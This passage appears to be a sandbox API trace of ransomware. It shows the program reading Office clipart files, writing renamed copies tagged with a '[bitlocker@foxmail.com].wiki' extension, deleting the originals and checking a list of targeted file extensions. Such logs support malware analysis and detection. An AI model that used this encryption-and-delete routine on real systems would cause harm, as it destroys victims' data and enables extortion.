lpNumberOfBytesWritten=0x314fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0189.647] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.647] WriteFile (in: hFile=0x220, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.647] SetEndOfFile (hFile=0x220) returned 1 [0189.647] CloseHandle (hObject=0x220) returned 1 [0189.647] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.647] SetEndOfFile (hFile=0x1e0) returned 1 [0189.648] CloseHandle (hObject=0x1e0) returned 1 [0189.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.648] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf")) returned 1 [0189.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0189.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0189.648] lstrlenW (lpString=".doc") returned 4 [0189.648] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.648] lstrlenW (lpString=".docx") returned 5 [0189.648] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.648] lstrlenW (lpString=".pdf") returned 4 [0189.648] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.648] lstrlenW (lpString=".xls") returned 4 [0189.648] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.648] lstrlenW (lpString=".xlsx") returned 5 [0189.648] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.649] lstrlenW (lpString=".ppt") returned 4 [0189.649] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0189.649] lstrlenW (lpString=".zip") returned 4 [0189.649] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.649] lstrlenW (lpString=".rar") returned 4 [0189.649] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.649] lstrlenW (lpString=".bz2") returned 4 [0189.649] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.649] lstrlenW (lpString=".7z") returned 3 [0189.649] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0189.649] lstrlenW (lpString=".dbf") returned 4 [0189.649] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0189.649] lstrlenW (lpString=".1cd") returned 4 [0189.649] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0189.649] lstrlenW (lpString=".jpg") returned 4 [0189.649] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0189.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0189.649] lstrlenW (lpString=".doc") returned 4 [0189.649] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.649] lstrlenW (lpString=".docx") returned 5 [0189.649] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.649] lstrlenW (lpString=".pdf") returned 4 [0189.649] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.649] lstrlenW (lpString=".xls") returned 4 [0189.649] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.649] lstrlenW (lpString=".xlsx") returned 5 [0189.649] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.650] lstrlenW (lpString=".ppt") returned 4 [0189.650] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0189.650] lstrlenW (lpString=".zip") returned 4 [0189.650] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.650] lstrlenW (lpString=".rar") returned 4 [0189.650] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.650] lstrlenW (lpString=".bz2") returned 4 [0189.650] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.650] lstrlenW (lpString=".7z") returned 3 [0189.650] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0189.650] lstrlenW (lpString=".dbf") returned 4 [0189.650] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0189.650] lstrlenW (lpString=".1cd") returned 4 [0189.650] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0189.650] lstrlenW (lpString=".jpg") returned 4 [0189.650] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.650] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.650] lstrlenW (lpString="HH00625_.WMF") returned 12 [0189.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0189.651] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2116) returned 1 [0189.651] CloseHandle (hObject=0x1e0) returned 1 [0189.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf")) returned 0x20 [0189.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0189.651] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.651] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0189.651] GetLastError () returned 0x0 [0189.652] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x844, lpOverlapped=0x0) returned 1 [0189.676] WriteFile (in: hFile=0x220, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x850, lpOverlapped=0x0) returned 1 [0189.676] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.677] WriteFile (in: hFile=0x220, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.677] SetEndOfFile (hFile=0x220) returned 1 [0189.677] CloseHandle (hObject=0x220) returned 1 [0189.677] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.677] SetEndOfFile (hFile=0x1e0) returned 1 [0189.678] CloseHandle (hObject=0x1e0) returned 1 [0189.678] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.678] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf")) returned 1 [0189.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0189.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0189.678] lstrlenW (lpString=".doc") returned 4 [0189.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.678] lstrlenW (lpString=".docx") returned 5 [0189.678] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.678] lstrlenW (lpString=".pdf") returned 4 [0189.678] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.678] lstrlenW (lpString=".xls") returned 4 [0189.678] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.678] lstrlenW (lpString=".xlsx") returned 5 [0189.678] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.678] lstrlenW (lpString=".ppt") returned 4 [0189.678] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0189.678] lstrlenW (lpString=".zip") returned 4 [0189.678] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.679] lstrlenW (lpString=".rar") returned 4 [0189.679] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.679] lstrlenW (lpString=".bz2") returned 4 [0189.679] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.679] lstrlenW (lpString=".7z") returned 3 [0189.679] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0189.679] lstrlenW (lpString=".dbf") returned 4 [0189.679] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0189.679] lstrlenW (lpString=".1cd") returned 4 [0189.679] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0189.679] lstrlenW (lpString=".jpg") returned 4 [0189.679] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0189.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0189.679] lstrlenW (lpString=".doc") returned 4 [0189.679] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.679] lstrlenW (lpString=".docx") returned 5 [0189.679] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.679] lstrlenW (lpString=".pdf") returned 4 [0189.679] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.679] lstrlenW (lpString=".xls") returned 4 [0189.679] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.679] lstrlenW (lpString=".xlsx") returned 5 [0189.679] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.679] lstrlenW (lpString=".ppt") returned 4 [0189.679] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0189.679] lstrlenW (lpString=".zip") returned 4 [0189.679] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.680] lstrlenW (lpString=".rar") returned 4 [0189.680] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.680] lstrlenW (lpString=".bz2") returned 4 [0189.680] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.680] lstrlenW (lpString=".7z") returned 3 [0189.680] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0189.680] lstrlenW (lpString=".dbf") returned 4 [0189.680] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0189.680] lstrlenW (lpString=".1cd") returned 4 [0189.680] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0189.680] lstrlenW (lpString=".jpg") returned 4 [0189.680] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.680] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.680] lstrlenW (lpString="HH00685_.WMF") returned 12 [0189.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0189.681] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=4032) returned 1 [0189.681] CloseHandle (hObject=0x1e0) returned 1 [0189.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf")) returned 0x20 [0189.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0189.681] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.681] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0189.681] GetLastError () returned 0x0 [0189.681] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0xfc0, lpOverlapped=0x0) returned 1 [0189.709] WriteFile (in: hFile=0x220, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xfd0, lpOverlapped=0x0) returned 1 [0189.709] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.710] WriteFile (in: hFile=0x220, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.710] SetEndOfFile (hFile=0x220) returned 1 [0189.710] CloseHandle (hObject=0x220) returned 1 [0189.710] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.710] SetEndOfFile (hFile=0x1e0) returned 1 [0189.711] CloseHandle (hObject=0x1e0) returned 1 [0189.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.711] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf")) returned 1 [0189.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0189.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0189.711] lstrlenW (lpString=".doc") returned 4 [0189.711] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.711] lstrlenW (lpString=".docx") returned 5 [0189.711] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.711] lstrlenW (lpString=".pdf") returned 4 [0189.711] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.711] lstrlenW (lpString=".xls") returned 4 [0189.711] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.711] lstrlenW (lpString=".xlsx") returned 5 [0189.711] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.712] lstrlenW (lpString=".ppt") returned 4 [0189.712] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0189.712] lstrlenW (lpString=".zip") returned 4 [0189.712] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.712] lstrlenW (lpString=".rar") returned 4 [0189.712] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.712] lstrlenW (lpString=".bz2") returned 4 [0189.712] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.712] lstrlenW (lpString=".7z") returned 3 [0189.712] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0189.712] lstrlenW (lpString=".dbf") returned 4 [0189.712] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0189.712] lstrlenW (lpString=".1cd") returned 4 [0189.712] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0189.712] lstrlenW (lpString=".jpg") returned 4 [0189.712] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0189.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0189.712] lstrlenW (lpString=".doc") returned 4 [0189.712] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.712] lstrlenW (lpString=".docx") returned 5 [0189.712] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.712] lstrlenW (lpString=".pdf") returned 4 [0189.712] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.712] lstrlenW (lpString=".xls") returned 4 [0189.712] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.712] lstrlenW (lpString=".xlsx") returned 5 [0189.713] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.713] lstrlenW (lpString=".ppt") returned 4 [0189.713] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0189.713] lstrlenW (lpString=".zip") returned 4 [0189.713] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.713] lstrlenW (lpString=".rar") returned 4 [0189.713] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.713] lstrlenW (lpString=".bz2") returned 4 [0189.713] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.713] lstrlenW (lpString=".7z") returned 3 [0189.713] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0189.713] lstrlenW (lpString=".dbf") returned 4 [0189.713] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0189.713] lstrlenW (lpString=".1cd") returned 4 [0189.713] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0189.713] lstrlenW (lpString=".jpg") returned 4 [0189.713] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.713] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.713] lstrlenW (lpString="HH01013_.WMF") returned 12 [0189.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0189.714] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2848) returned 1 [0189.714] CloseHandle (hObject=0x1e0) returned 1 [0189.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf")) returned 0x20 [0189.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0189.714] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.714] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0189.715] GetLastError () returned 0x0 [0189.715] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0xb20, lpOverlapped=0x0) returned 1 [0189.728] WriteFile (in: hFile=0x220, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xb30, lpOverlapped=0x0) returned 1 [0189.729] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.729] WriteFile (in: hFile=0x220, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.729] SetEndOfFile (hFile=0x220) returned 1 [0189.729] CloseHandle (hObject=0x220) 